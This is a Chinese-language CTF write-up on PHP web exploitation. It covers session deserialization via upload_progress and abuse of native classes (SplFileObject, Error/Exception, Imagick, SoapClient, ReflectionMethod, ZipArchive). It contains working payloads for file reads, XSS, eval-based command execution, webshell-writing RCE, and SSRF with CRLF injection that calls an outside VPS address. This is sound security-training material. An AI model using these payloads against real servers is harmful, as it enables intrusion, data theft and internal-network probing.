$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
我们注意到这样一句话ini_set('session.serialize_handler', 'php');
,因此不难猜测本身在php.ini
当中的设置可能是php_serialize
,在查看了phpinfo
后得证猜测正确,也知道了这道题的考点
那么我们就进入phpinfo查看一下,enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;只需往该地址任意 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的字段,就可以将filename的值赋值到session中。cleanup默认是On的,但这题是Off的,假如是On的话代表sessid的值在文件上传成功后就会被清空。
补充知识
phpinfo文件中
local value(局部变量:作用于当前目录程序,会覆盖master value内容):php master value(主变量:php.ini里面的内容):php_serialize
首先构造文件上传的表单,在本地命名为upload.php
<form action="http://localhost/session/demo1.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
form>
接下来构造序列化payload
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class ctf
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new ctf();
echo serialize($obj);
?>
输出结果为
O:3:"ctf":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
由于采用Burp发包,为防止双引号被转义,在双引号前加上\
,除此之外还要加上|
在这个页面随便上传一个文件,然后抓包修改filename
的值
|O:3:\"ctf\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
可以看到flag.php
这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看
因此我们只需要把payload,当中改为print_r(file_get_contents("D:/phpstudy_pro/WWW/session/flag.php"));
即可获取flag
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class ctf
{
public $mdzz='print_r(file_get_contents("D:/phpstudy_pro/WWW/session/flag.php"));';
}
$obj = new ctf();
echo serialize($obj);
?>
O:3:"ctf":1:{s:4:"mdzz";s:67:"print_r(file_get_contents("D:/phpstudy_pro/WWW/session/flag.php"));";}
转义后为
|O:3:\"ctf\":1:{s:4:\"mdzz\";s:67:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/session/flag.php\"));\";}
在bp中传入payload得到flag(flag是在同级目录事先写好的)
考察形式
php中内置很多原生的类,在CTF中常以echo new $a($b);
这种形式出现,当看到这种关键字眼时,就要考虑本题是不是需要原生类利用了。
php中内置很多原生的类,在CTF中常以echo new $a($b);
这种形式出现,当看到这种关键字眼时,就要考虑本题是不是需要原生类利用了。
先看下都有什么内置原生类,写一个遍历内置原生类的脚本看看
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
以下总结了CTF中出现过的题型
可以结合glob协议使用,再配合通配符读取flag的文件名
测试代码
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);
?>
DirectoryIterator
这个类会创建一个指定目录的迭代器,当遇到`echo`输出时会触发`Directorylterator`中的`__toString()`方法,输出指定目录里面经过排序之后的第一个文件名,可以结合glob协议使用
FilesystemIterator
该类继承于`Directorylterator`,所以在用法上基本也是一样的。
GlobIterator
通过类名也不难看出,这是个自带`glob`协议的类,所以调用时就不必再加上glob://了
读到flag.php,由于DirectoryIterator返回结果是⼀个迭代器,所以通常直接⽤echo打印出来的是第⼀
项,所以需要结合glob协议通配符的特性去⼀点点把flag⽂件名匹配出来。
然后再用SplFileObject原生类读flag.php文件,可以看到只能读一行,可以用伪协议配合来读取全部内容。
将base64解码后就能得到flag了
文件读取的内置原生类有三个,作用都一样。
SplFileInfo类
SplFileObject类
SplTempFileObject类
当用文件目录遍历到了敏感文件时,可以用SplFileObject
类,同样通过echo触发SplFileObject
中的__toString()
方法。(该类不支持通配符,所以必须先获取到完整文件名称才行)
除此之外其实SplFileObject
类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容
http://localhost/test.php?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
例题:极客大挑战-SoEzUnser
Error 是所有PHP内部错误类的基类。 (PHP 7, 8)
Error::__toString error 的字符串表达
返回 Error 的 string表达形式。
Exception是所有用户级异常的基类。 (PHP 5, 7, 8)
Exception::__toString 将异常对象转换为字符串
返回转换为字符串(string)类型的异常。
类属性
message 错误消息内容
code 错误代码
file 抛出错误的文件名
line 抛出错误的行数
Error/Exception
中也有个__toString()
方法,能将我们输入的xss内容输出
highlight_file(__FILE__);
$a = $_GET['xss'];
echo unserialize($a);
?>
exp
$a = new Error("");
echo urlencode(serialize($a));
?>
Error类里面是有很多protect和private修饰的属性,会有很多不可见字符,我们需要url编码一下。将url编码后的结果传参。可以触发弹窗效果。
例题:[BJDCTF 2nd]xss之光
获取cookie
$a = new Exception("");
echo urlencode(serialize($a));
?>
我们构造的javascript代码植入在前端代码中,因此能够触发弹窗。
Exception类是继承了Error类的,所以用法啥的都一样。就不重复介绍了。这两个类不光能构造xss,而且还能绕过md5()和sha1()的比较。
那为什么可以绕过呢?这两个类是可以传递两个参数的,看看例子。
测试代码
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a."\n";
echo $b."\n";
if($a != $b)
{
echo "a!=b"."\n";
}
if(md5($a) === md5($b))
{
echo "md5相等"."\n";
}
if(sha1($a)=== sha1($b)){
echo "sha1相等";
}
当变量a,b同时触发__toString()
方法时,虽对象不同,但执行__toString()
方法后,返回结果相同
这里需要注意a,b赋值时,必须要在同一行上,因为执行__toString()
方法时会返回行号
例题:[2020 极客大挑战]Greatphp
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
审计代码,我们主要目的就是通过eval函数来执行命令,在此之前需要满足两个if,第一个if,绕过md5和sha1,第二个if就是正则过滤了。很显然,在类里面不能用我们常用的数组来绕过。这两个函数可以对类进行一个hash,自然会触发_toString方法,并且eval函数也会(eval函数不就是针对字符串的嘛)。那么就可以用上面两个内置类进行绕过。
怎么执行命令?正则很头疼,过滤了
接下来就构造poc了
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
}
$str = "?>=include~".urldecode("%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo urlencode(serialize($c));
?>
O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A19%3A%22%3F%3E%3C%3F%3Dinclude%7E%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A27%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cexp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A8%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A19%3A%22%3F%3E%3C%3F%3Dinclude%7E%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A27%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cexp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A8%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
我们把include语句写在报错信息里,可以将flag同报错信息带出来。(细看poc,=是短标签,就相当于闭合,是因为_toString输出的报错信息是这样的。
Error: payload in /home/cg/root/28477555/main.php:2
进入eval函数就相当于这样。
eval(Error: <?php payload ?>)
所以我们需要将前面的Error:进行闭合,这样payload才能顺利执行了。打入题目,得出flag。
原理参考视频:https://www.bilibili.com/video/BV1Uv411G7u1?p=21&vd_source=3abb013925cacaea21eb0528d1689b4a
这里不详细赘述。首先看题
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>
这里就不仅限于Error和Exception了,基本上所有的原生类都可以
exp
?a=Exception&b=system("ls"));//
这里后面加上);//是为了闭合后面的语句,因为还跟了一个(),会被当作函数调用,这里就可以把后面的注释掉。
例题:ctfshow web110
测试代码
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b);");
给a随便传⼀个原⽣类,给b传恶意命令即可:
?a=Exception&b=system('dir')
?a=SplFileObject&b=system('dir')
由于没有复现环境,这里直接搬运大佬wp
参考文章:https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
那么问题来了,如果没有echo呢?虽然代码会执⾏,但是我们拿不到结果,并且echo new a ( a( a(b);其实
也没有从根本上解决RCE这件事,⼤多CTF题都仅限于找⽂件名、读⽂件这⼀步。那假如说flag在环境变
量中呢?⼜或者说读flag需要suid提权等操作?
这个问题其实困扰了我很久,不过我个⼈⽐较懒,⽽且⽔平⽐较低,就⼀直放着没管,直到HECTF中出
了这样⼀道题:
error_reporting(0);
show_source(__FILE__);
new $_GET['b']($_GET['c']);
?>
开头给出的样例代码也很明确,就是我需要找的答案,不过我尝试去找了⼀下是否有中⽂版本(因为我
个⼈英⽂⽔平很烂),似乎没找到(也可能是我的姿势不对),在本⽂我也不会尝试去讲解原理,因为
个⼈⽔平有限,只会展示相关的攻击步骤,具体细节的还需要读者⾃⾏理解
回到题⽬,考察的是原⽣类,不过和以往常⻅的原⽣类题⽬不⼀样,不存在echo,经过测试之后存在Imagick类
在VPS中⽣成⼀个图⽚,含有⼀句话⽊⻢
请求包如下:
POST /?b=Imagick&c=vid:msl:/tmp/php* HTTP/1.1
Host: 1.1.1.1:32127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmq
Tayg6bqr
Content-Length: 348
------WebKitFormBoundaryeTvfNEmqTayg6bqr
Content-Disposition: form-data; name="123"; filename="exec.msl"
Content-Type: text/plain
------WebKitFormBoundaryeTvfNEmqTayg6bqr--
访问positive.php即可RCE,注意flag是不可读的,⼿动chmod 777即可
chmod 777后读⽂件
以上没有讲解原理,不过还是分析⼀下这种⼿法的限制:
参考文章:https://blog.csdn.net/qq_53287512/article/details/123879744
介绍
综述:
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用__call
方法,具体详细的信息大家可以去搜索引擎看看,这里不再赘述。
SoapClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端,可以创建soap数据报文,与wsdl接口进行交互
soap扩展模块默认关闭,使用时需手动开启
SoapClient::__call —调用 SOAP 函数 (PHP 5, 7, 8)
通常,SOAP 函数可以作为SoapClient对象的方法调用
SSRF
构造函数:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
123
什么是soap
SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换
SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
我们构造一个利用payload,第一个参数为NULL,第二个参数的location设置为vps地址
'http://47.102.146.95:2333',
'uri' =>'uri',
'user_agent'=>'111111'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
监听vps的2333端口,如下图所示成功触发SSRF,vps收到了请求信息
且可以看到SOAPAction和user_agent都可控
本地测试时发现,当使用此内置类(即soap协议)请求存在服务的端口时,会立即报错,而去访问不存在服务(未占用)的端口时,会等待一段时间报错,可以以此进行内网资产的探测。
如果配合CRLF漏洞,还可以可通过 SoapClient 来控制其他参数或者post发送数据。例如:HTTP协议去攻击Redis
[CRLF知识扩展](https://wooyun.js.org/drops/CRLF Injection漏洞的利用与实例分析.html)
HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。
通过结合CRLF,我们利用SoapClient+CRLF便可以干更多的事情,例如插入自定义Cookie,
$a = new SoapClient(null, array(
'location' => 'http://47.102.146.95:2333',
'uri' =>'uri',
'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type
$a = new SoapClient(null, array(
'location' => 'http://47.102.146.95:2333',
'uri' =>'uri',
'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
看一道ctfshow上的题,完美利用上述知识点
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); //获取xff头
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
poc:
$target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
想起了去年的国赛,第一次遇到这种类型的题[2021 CISCN]easy_source
可以结合getDocComment()
方法,用它来获取类中各个函数注释内容
class Sentiment{
/** flag{asdasd} */
public function a(){
}
}
$a = $_GET['a'];
$b = $_GET['b'];
$c= $_GET['c'];
$d=new $a($b,$c);
var_dump($d->getDocComment());
?>
复制代码
可以通过本类执行一些文件操作,在CTF可以用来删除waf
常用类方法
ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
复制代码
实例代码
$zip = new ZipArchive;
$zip->open('web.zip', ZipArchive::CREATE)
?>
复制代码
第一个参数:要打开的压缩包文件
第二个参数:
ZIPARCHIVE::OVERWRITE总是创建一个新的文件,如果指定的zip文件存在,则会覆盖掉。
ZIPARCHIVE::CREATE如果指定的zip文件不存在,则新建一个。
ZIPARCHIVE::EXCL如果指定的zip文件存在,则会报错。
ZIPARCHIVE::CHECKCONS对指定的zip执行其他一致性测试。
复制代码
之后会在当前目录创建个web.zip,但可能由于环境原因没有打出来
其他命令可以参考:php利用ZipArchive类操作文件的实例php技巧脚本之家 (jb51.net)
例题:NepCTF2021 梦里花开牡丹亭